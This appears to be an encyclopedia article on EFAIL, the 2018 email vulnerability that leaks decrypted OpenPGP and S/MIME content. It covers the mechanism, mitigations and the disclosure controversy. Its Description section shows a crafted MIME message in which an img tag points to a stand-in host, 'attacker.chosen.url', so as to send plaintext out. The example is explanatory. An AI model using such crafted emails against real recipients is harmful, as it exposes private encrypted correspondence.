EFAIL

Email security vulnerability

The announcing team's logo for the vulnerability, metaphorically representing plaintext leaking out of an encryption 'envelope'.

Efail, also written EFAIL, is a security hole in email systems with which content can be transmitted in encrypted form. This gap allows attackers to access the decrypted content of an email if it contains active content like HTML[1] or JavaScript, or if loading of external content has been enabled in the client. Affected email clients include Gmail, Apple Mail, and Microsoft Outlook.[1]

Two related Common Vulnerabilities and Exposures IDs, CVE-2017-17688 and CVE-2017-17689, have been issued. The security gap was made public on 13 May 2018 by Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky and Jörg Schwenk as part of a contribution to the 27th USENIX Security Symposium, Baltimore, August 2018.

As a result of the vulnerability, the content of an attacked encrypted email can be transmitted to the attacker in plain text by a vulnerable email client. The used encryption keys are not disclosed.

## Description

[edit]

The security gap concerns many common email programs when used with the email encryption systems OpenPGP and S/MIME. An attacker needs access to the attacked email message in its encrypted form, as well as the ability to send an email to at least one regular recipient of this original email. To exploit the security gap, the attacker modifies the encrypted email, causing the recipient's email program to send the decrypted content of the email to the attacker.

To access the decrypted content of an encrypted email, the attacker modifies the email to be attacked to contain text prepared by the attacker in a specific way. The attacker then sends the changed email to one of the regular recipients.

The attacker inserts additional text before and after the encrypted text in the encrypted email, thereby changing the message so that a multipart/mixed (MIME) message is created and the encrypted part of the message appears together with the limit marks of the MIME message as a parameter value of an HTML tag.

Example of a modified S/MIME mail:

[...]
Content-Type: multipart/mixed;boundary="BOUNDARY"
[...]
--BOUNDARY
Content-Type: text/html

<img src="http://attacker.chosen.url/
--BOUNDARY
Content-Type: application/pkcs7-mime;
s-mime-typed-envelope-data
Content-Transfer-Encoding: base64

ENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGE
--BOUNDARY
Content-Type: text/html

--BOUNDARY
...

The email client first breaks down the multipart message into its individual parts using the `--BOUNDARY` tag and then decrypts the encrypted parts. It then reassembles the multipart message, and receives the message in this way:

[...]
Content-Type: multipart/mixed;boundary="BOUNDARY"
[...]
--BOUNDARY
Content-Type: text/html

<img src="http://attacker.chosen.url/
SECRETMESSAGESECRETMESSAGE">
--BOUNDARY
...

This message now contains the decrypted content of the email in the `src=` attribute of the `<img>` tag and is passed by the email program as URL to the web server ` attacker.chosen.url` controlled by the attacker, when this content is requested. The attacker can now retrieve the content of the encrypted message from its web server logs.

In a variant of the attack, the attacker uses a vulnerability in the CBC (S/MIME) and CFB (OpenPGP) operating modes of the encryption algorithms used. This allows them to change the ciphertext by inserting gadgets. As a side effect of this manipulation, the originally contained plain text becomes illegible. If this was known, the attacker can correct this by inserting additional gadgets. The attacker can hide unknown plain text by inserting certain HTML tags. The result is a message with a similar structure as described above.

## Mitigations

[edit]

Since the vulnerability is directed against the content of the email and not against the recipient, it is necessary that all recipients implement the countermeasures. These include:

* Disable active content such as HTML or JavaScript when viewing emails.
* Suppress automatic reloading of external content, such as images.

To what extent even the senders of encrypted content can reduce the vulnerability, e.g. by electronic signatures or the limitation to a subset of MIME formats, has not yet been conclusively clarified.

## Critique

[edit]

Announcing the security vulnerability on 13 May 2018 the Electronic Frontier Foundation (EFF) recommended to stop using any PGP plugins in email programs even though the vulnerability does not directly relate to PGP but to the configuration of an email program.[2][3] A coordinated publication was originally scheduled for the 15 May. The EFF was criticized for ignoring this by various parties.[4][5][6][7][8]

As a consequence of this, Robert Hansen recommended to establish a closed group or mailing list to better coordinate the publication of future security issues. Still, he saw the EFF and its director Danny O'Brien as the best entity to administer such an "OpenPGP Disclosure Group".[9]

## References

[edit]

1. ^ a b "Decade-old Efail flaws can leak plaintext of PGP- and S/MIME-encrypted emails". arstechnica.com. 2018-05-14.
2. ^ "EFF on Twitter". Twitter. Electronic Frontier Foundation (EFF). 2018-05-13. Retrieved 2018-05-17. "To protect yourself, EFF highly recommends that for now you uninstall or disable your PGP email plug-in."
3. ^ O'Brien, Danny; Gebhart, Gennie (2018-05-13), Attention PGP Users: New Vulnerabilities Require You To Take Action Now, Electronic Frontier Foundation (EFF), retrieved 2018-05-17
4. ^ "Kommentar: Efail ist ein EFFail". heise online (in German). 2018-05-16. Retrieved 2018-05-17.
5. ^ "Enigmail-Chefentwickler im Interview: Efail-Veröffentlichung war "unüberlegt"". heise security (in German). 2018-05-15. Retrieved 2018-05-17.
6. ^ Koch, Werner (2018-05-14). "Efail or OpenPGP is safer than S/MIME". gnupg-users. Retrieved 2018-05-17.
7. ^ Green, Matthew (2018-05-17). "Was the Efail disclosure horribly screwed up?". A Few Thoughts on Cryptographic Engineering. Retrieved 2018-05-17.
8. ^ "Hashtag #EFFail auf Twitter" (in German). Retrieved 2018-05-17.
9. ^ Hansen, Robert (2018-05-20). "Efail: A Postmortem". medium.com. Retrieved 2018-05-21.

## Further reading

[edit]

* Poddebniak, Damian; Dresen, Christian; Müller, Jens; Ising, Fabian; Schinzel, Sebastian; Friedberger, Simon; Somorovsky, Juraj; Schwenk, Jörg. "Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels" (PDF). Efail.de. Draft 0.9.1. Archived (PDF) from the original on 2018-05-21. Retrieved 2018-05-14.

## External links

[edit]

* Official website

* v
* t
* e

Hacking in the 2010s

| ← 2000s | Timeline | 2020s →

|
|

Major incidents|

| 2010|

* Operation Aurora (publication of 2009 events)
* Australian cyberattacks
* Operation Olympic Games
* Operation ShadowNet
* Operation Payback

|

2011|

* Canadian government
* DigiNotar
* DNSChanger
* HBGary Federal
* Operation AntiSec
* PlayStation network outage
* RSA SecurID compromise

2012|

* LinkedIn hack
* Stratfor email leak
* Operation High Roller

2013|

* South Korea cyberattack
* Snapchat hack
* Cyberterrorism attack of June 25
* 2013 Yahoo! data breach
* Singapore cyberattacks

2014|

* Anthem medical data breach
* Operation Tovar
* 2014 celebrity nude photo leak
* 2014 JPMorgan Chase data breach
* 2014 Sony Pictures hack
* Russian hacker password theft
* 2014 Yahoo! data breach

2015|

* Office of Personnel Management data breach
* HackingTeam
* Ashley Madison data breach
* VTech data breach
* Ukrainian Power Grid Cyberattack
* SWIFT banking hack

2016|

* Bangladesh Bank robbery
* Hollywood Presbyterian Medical Center ransomware incident
* Commission on Elections data breach
* Democratic National Committee cyber attacks
* Vietnam Airport Hacks
* DCCC cyber attacks
* Indian Bank data breaches
* Surkov leaks
* Dyn cyberattack
* Russian interference in the 2016 U.S. elections
* 2016 Bitfinex hack

2017|

* SHAttered
* 2017 Macron e-mail leaks
* WannaCry ransomware attack
* Westminster data breach
* Petya and NotPetya
* 2017 Ukraine ransomware attacks
* Equifax data breach
* Deloitte breach
* Disqus breach

2018|

* Trustico
* Atlanta cyberattack
* SingHealth data breach

2019|

* Sri Lanka cyberattack
* Baltimore ransomware attack
* Bulgarian revenue agency hack
* WhatsApp snooping scandal
* Jeff Bezos phone hacking incident

Hacktivism|

* Anonymous
* associated events
* CyberBerkut
* GNAA
* Goatse Security
* Lizard Squad
* LulzRaft
* LulzSec
* New World Hackers
* NullCrew
* OurMine
* PayPal 14
* RedHack
* Teamp0ison
* TDO
* UGNazi
* Ukrainian Cyber Alliance

Groups|

* Appin
* Bangladesh Black Hat Hackers
* Bureau 121
* Charming Kitten
* Cozy Bear
* Dark Basin
* DarkMatter
* Elfin Team
* Equation Group
* Fancy Bear
* GOSSIPGIRL (confederation)
* Guccifer 2.0
* Hacking Team
* Helix Kitten
* Iranian Cyber Army
* Islamic State Hacking Division
* Lazarus Group
* BlueNorOff
* AndAriel
* Lords of Dharmaraja
* NSO Group
* Numbered Panda
* PLA Unit 61398
* PLA Unit 61486
* PLATINUM
* Pranknet
* Red Apollo
* Rocket Kitten
* Stealth Falcon
* Syrian Electronic Army
* Tailored Access Operations
* The Shadow Brokers
* xDedic
* Yemen Cyber Army

Individuals|

* Ryan Ackroyd
* Mustafa Al-Bassam
* Kim Anh Vo
* George Hotz
* Guccifer
* Elliott Gunton
* Jeremy Hammond
* Junaid Hussain
* MLT
* Sabu
* Track2
* Topiary
* The Jester

Major vulnerabilities
publicly disclosed|

* Evercookie (2010)
* iSeeYou (2013)
* Heartbleed (2014)
* Shellshock (2014)
* POODLE (2014)
* Rootpipe (2014)
* Row hammer (2014)
* SS7 vulnerabilities (2014)
* WinShock (2014)
* JASBUG (2015)
* Stagefright (2015)
* DROWN (2016)
* Badlock (2016)
* Dirty COW (2016)
* Cloudbleed (2017)
* Broadcom Wi-Fi (2017)
* EternalBlue (2017)
* DoublePulsar (2017)
* Silent Bob is Silent (2017)
* KRACK (2017)
* ROCA vulnerability (2017)
* BlueBorne (2017)
* Meltdown (2018)
* Spectre (2018)
* EFAIL (2018)
* Exactis (2018)
* Speculative Store Bypass (2018)
* Lazy FP state restore (2018)
* TLBleed (2018)
* SigSpoof (2018)
* Foreshadow (2018)
* Dragonblood (2019)
* Microarchitectural Data Sampling (2019)
* BlueKeep (2019)
* Kr00k (2019)

Malware|

| 2010|

* Bad Rabbit
* Black Energy 2
* SpyEye
* Stuxnet

|

2011|

* Coreflood
* Alureon
* Duqu
* Kelihos
* Metulji botnet
* Stars

2012|

* Carna
* Dexter
* FBI
* Flame
* Mahdi
* Red October
* Shamoon

2013|

* CryptoLocker
* DarkSeoul

2014|

* Brambul
* Black Energy 3
* Carbanak
* Careto
* DarkHotel
* Duqu 2.0
* FinFisher
* Gameover ZeuS
* Regin

2015|

* Dridex
* Hidden Tear
* Rombertik
* TeslaCrypt
* Project Sauron

2016|

* Hitler
* Jigsaw
* KeRanger
* Necurs
* MEMZ
* Mirai
* Pegasus
* Petya and NotPetya
* X-Agent

2017|

* BrickerBot
* Kirk
* LogicLocker
* Rensenware
* Triton
* WannaCry
* XafeCopy

2018|

* VPNFilter

2019|

* Grum
* Joanap
* NetTraveler
* R2D2
* Tinba
* Titanium
* ZeroAccess botnet

*[v]: View this template
*[t]: Discuss this template
*[e]: Edit this template